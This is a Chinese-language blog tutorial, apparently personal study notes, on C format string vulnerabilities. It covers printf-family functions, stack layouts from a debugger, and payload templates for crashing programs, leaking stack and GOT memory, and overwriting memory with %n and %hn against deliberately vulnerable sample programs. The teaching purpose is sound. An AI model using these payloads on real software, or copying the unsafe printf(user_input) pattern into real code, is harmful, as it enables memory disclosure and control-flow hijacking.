骑麦兜看落日

[Binary]FormatString

字数统计: 2.1k阅读时长: 8 min
2018/07/22 Share

格式化字符串函数介绍

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。

其格式为

1
formatfunc(formatstring,parameter1,...);

格式化字符串函数

函数 基本介绍
scanf 输入到stdin
printf 输出到stdout
fprintf 输出到指定FILE流
vprintf 根据参数列表格式化输出到 stdout
vfprintf 根据参数列表格式化输出到指定FILE流
sprintf 输出到字符串
snprintf 输出指定字节数到字符串
vsprintf 根据参数列表格式化输出到字符串
vsnprintf 根据参数列表格式化输出指定字节到字符串
setproctitle 设置argv
syslog 输出日志
err, verr, warn, vwarn等 。。。

格式化字符串

其格式为

1
%[parameter][flags][field width][.precision][length]type

patameter

  • n$,获取格式化字符串中的指定参数

flag

field width

  • 输出的最小宽度

precision

  • 输出的最大长度

lenth

  • hh,输出一个字节
  • h,输出一个双字节

type

转换说明 输出
%d 有符号十进制整数
%s 字符串
%x 无符号十六进制整数
%c 单个字符
%p 指针
%n 不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量

格式化字符串参数

相对于格式化字符串转换说明中要输出的变量


格式化字符串漏洞原理

printf()函数为例

1
printf("Color %s, Number %d, Float %4.2f","red",123456,3.14);

其输出为

Color red, Number 123456, Float 3.14

其在栈上的布局为

addr of format string
addr of “red”
123456
3.14

当没有提供参数时

1
printf("Color %s, Number %d, Float %4.2f");

程序会将栈上存储格式化字符串地址下面的三个变量分别解析为

  1. 解析其地址对应的字符串
  2. 解析其内容对应的整形值
  3. 解析其内容对应的浮点值

格式化字符串漏洞利用


程序崩溃

输入若干个%s

%s%s%s%s%s%s%s%s%s%s%s%s

因为栈上不可能每个值都对应合法的地址,所以总是会有某个地址可以使得程序崩溃


泄漏内存

泄漏内存常见操作

  • 泄露栈内存
    • 获取某个变量的值
    • 获取某个变量对应地址的内存
  • 泄露任意地址内存
    • 利用GOT表得到libc函数地址,进而获取libc,进而获取其它libc函数地址
    • 盲打,dump整个程序,获取有用信息

给定程序

1
2
3
4
5
6
7
8
9
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}

编译

1
gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c

泄漏栈内存

  1. 利用%x来获取对应栈的内存,但建议使用%p,可以不用考虑位数的区别
  2. 利用%s来获取变量所对应地址的内容,只不过有零截断
  3. 利用%order$x来获取指定参数的值,利用%order$s来获取指定参数对应地址的内容
泄漏栈变量数值

输入字符串

%08x.%08x.%08x

得到运行结果

00000001.22222222.ffffffff.%08x.%08x.%08x
ffcfc400.000000c2.f765a6bb

第一次调用printf()函数时栈空间布局

0xffffccec│+0x00: 0x080484bf → <main+84> add esp, 0x20 ← $esp
0xffffccf0│+0x04: 0x08048563 → “%08x.%08x.%08x.%s”
0xffffccf4│+0x08: 0x00000001
0xffffccf8│+0x0c: 0x22222222
0xffffccfc│+0x10: 0xffffffff
0xffffcd00│+0x14: 0xffffcd10 → “%08x.%08x.%08x”
0xffffcd04│+0x18: 0xffffcd10 → “%08x.%08x.%08x”
0xffffcd08│+0x1c: 0x000000c2

栈中第一个变量为返回地址,第二个变量为格式化字符串的地址,第三个变量为a的值,第四个变量为b的值,第五个变量为c的值,第六个变量为输入的格式化字符串对应的地址

第二次调用printf()函数时栈空间布局

0xffffccfc│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp
0xffffcd00│+0x04: 0xffffcd10 → “%08x.%08x.%08x”
0xffffcd04│+0x08: 0xffffcd10 → “%08x.%08x.%08x”
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: “%08x.%08x.%08x” ← $eax
0xffffcd14│+0x18: “.%08x.%08x”
0xffffcd18│+0x1c: “x.%08x”

栈中第一个变量为返回地址,第二个变量为格式化字符串的地址,由于格式化字符串为"%08x.%08x.%08x",程序会将栈上的第三、第四、第五个变量分别作为第一、第二、第三个参数按照int型进行解析

输入字符串

%n$x

直接获取栈中第n+1个变量的值

泄漏栈变量对应字符串

输入字符串

%s

得到运行结果

00000001.22222222.ffffffff.%s
%s

第一次调用printf()函数时栈空间布局

0xffffccec│+0x00: 0x080484bf → <main+84> add esp, 0x20 ← $esp
0xffffccf0│+0x04: 0x08048563 → “%08x.%08x.%08x.%s”
0xffffccf4│+0x08: 0x00000001
0xffffccf8│+0x0c: 0x22222222
0xffffccfc│+0x10: 0xffffffff
0xffffcd00│+0x14: 0xffffcd10 → 0xff007325 (“%s”?)
0xffffcd04│+0x18: 0xffffcd10 → 0xff007325 (“%s”?)
0xffffcd08│+0x1c: 0x000000c2

第二次调用printf()函数时栈空间布局

0xffffccfc│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp
0xffffcd00│+0x04: 0xffffcd10 → 0xff007325 (“%s”?)
0xffffcd04│+0x08: 0xffffcd10 → 0xff007325 (“%s”?)
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: 0xff007325 (“%s”?) ← $eax
0xffffcd14│+0x18: 0xffffce3c → 0xffffd074 → “XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[…]”
0xffffcd18│+0x1c: 0x000000e0

输入字符串

%n$s

直接获取栈中第n+1个变量的值所对应的地址处的字符串

泄漏任意地址内存

目标

泄漏某一个libc函数的got表内容,从而得到其地址,进而获取libc版本以及其他函数的地址

打印地址内容

所读取的格式化字符串都是在栈上的,在调用输出函数的时候,第一个参数的值就是该格式化字符串的地址

输入字符串

[padding]addr%k$s

其中该格式化字符串相对函数调用为第k个参数

确定参数偏移

[tag]%p%p%p%p%p%p…

重复某个字符的机器字长来作为tag,后面跟上若干个%p来输出栈上的内容,如果内容与前面的[tag]重复,可以有很大把握说明该地址就是格式化字符串的地址


覆盖内存

%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量

给定程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* example/overflow/overflow.c */
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}

payload

[padding][overwrite addr][padding]%[overwrite offset]$n

覆盖栈内存

确定覆盖地址
确定相对位移

输入字符串

[tag]%p%p%p%p%p%p…

重复某个字符的机器字长来作为tag,后面跟上若干个%p来输出栈上的内容,如果内容与前面的[tag]重复,可以有很大把握说明该地址就是格式化字符串的地址

进行覆盖

利用%n的特征修改变量的值

[addr]%0[len]d%k$n

[addr]为变量地址,长度为4,再输入长度为[len]个字符,最后修改的变量值为4+len

覆盖任意地址内存

覆盖小数字

当修改的变量的值小于机器字长的数字时,如果将要覆盖的地址放在最前面,会直接占用机器字长个字节

把地址放在中间,只要能够找到对应的偏移,也可以得到对应的数值

输入字符串

aa%(k+2)$nxx[addr]

其中aa%(k+2)就是第k个参数格式化字符串

$nss就是k+1个参数

所需修改的地址就是第k+2个参数

覆盖大数字

格式化字符串中有两个标志

hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数

h 对于整型类型,printf期待一个从short提升的int尺寸的整型参数

可以利用%hhn向某个地址写入单字节,利用%hn向某个地址写入双字节

payload

addr1+addr2+addr3+addr4+padding1+%k$n+padding2+%(k+1)$n+padding3+%(k+2)$n+padding4+%(k+3)$n

如果HOB < LOB HOB > LOB 备注 实例
[addr + 2][addr] [addr + 2][addr] \x2a\xa0\x04\x08\x28\xa0\x04\x08
%.[HOB- 8]x %.[LOB- 8]x 结果采用十进制 0xbfff-8=49143
%[offset]$hn %[offset + 1]$hn Offset= 4 %4hn
%.[LOB- HOB] %.[HOB- LOB] 结果转为十进制 0xfffa-0xbfff= 16379
%[offset + 1]$hn %[offset]$hn %5hn

参考资料

CATALOG
  1. 1. 格式化字符串函数介绍
    1. 1.1. 格式化字符串函数
    2. 1.2. 格式化字符串
      1. 1.2.1. patameter
      2. 1.2.2. flag
      3. 1.2.3. field width
      4. 1.2.4. precision
      5. 1.2.5. lenth
      6. 1.2.6. type
    3. 1.3. 格式化字符串参数
  2. 2. 格式化字符串漏洞原理
  3. 3. 格式化字符串漏洞利用
    1. 3.1. 程序崩溃
    2. 3.2. 泄漏内存
      1. 3.2.1. 泄漏栈内存
        1. 3.2.1.1. 泄漏栈变量数值
        2. 3.2.1.2. 泄漏栈变量对应字符串
      2. 3.2.2. 泄漏任意地址内存
        1. 3.2.2.1. 目标
        2. 3.2.2.2. 打印地址内容
        3. 3.2.2.3. 确定参数偏移
    3. 3.3. 覆盖内存
      1. 3.3.1. 覆盖栈内存
        1. 3.3.1.1. 确定覆盖地址
        2. 3.3.1.2. 确定相对位移
        3. 3.3.1.3. 进行覆盖
      2. 3.3.2. 覆盖任意地址内存
        1. 3.3.2.1. 覆盖小数字
        2. 3.3.2.2. 覆盖大数字
  4. 4. 参考资料